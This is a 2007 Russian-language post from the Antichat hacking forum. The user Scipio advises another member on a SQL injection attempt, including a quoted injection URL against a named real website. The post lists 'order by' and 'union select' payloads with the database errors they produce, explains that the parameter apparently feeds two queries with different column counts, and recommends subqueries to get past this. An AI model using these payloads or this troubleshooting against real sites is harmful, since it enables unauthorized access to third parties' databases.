Показать сообщение отдельно

  #5  
Старый 04.11.2007, 21:08
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


По умолчанию

Цитата:
Сообщение от HornetBlack  
Ну я же не настолько начинающий
http://www.soaw.org./article.php?id=322+union+select+1,2,3,4/*
The used SELECT statements have a different number of columns
Не влияет коммент ни на ордер ни на юнион. Если не ошибаюсь, это говорит о том, что параметр - последний в запросе и отсутствуют ордеры и лимиты.
вобщем представь такую фигню, есть два запроса подряд:
Код:
"select id,name,login,password,description from table where id=".$id.";"
"select id,name,login,password from table where id=".$id.";"
ты вводишь инъект: $id=-1 order by 4/*
в конечном итоге все будет так:
Код:
"select id,name,login,password,description from table where id=-1 order by 4/*
"select id,name,login,password from table where id=-1 order by 4/*
ошибки как видишь быть не должно
если ты поставишь $id=-1 order by 5/* то во втором запросе будет ошибка
Цитата:
Unknown column '5' in 'order clause'
и ты думаешь, что полей 4...

дальше ты вставляешь инъект:
$id=-1 union select 1,2,3,4/*
тут же первый запрос выплевывает ошибку
Цитата:
The used SELECT statements have a different number of columns
т.к в первом запросе полей 5
если ты вставишь инъект:
$id=-1 union select 1,2,3,4,5/*
то эту ошибку выплюнет второй запрос...

вот в этом вся причина твоих бед...

при таком раскладе возможно только использование подзапросов
__________________
Карфаген должен быть разрушен...

Последний раз редактировалось Scipio; 04.11.2007 в 21:22..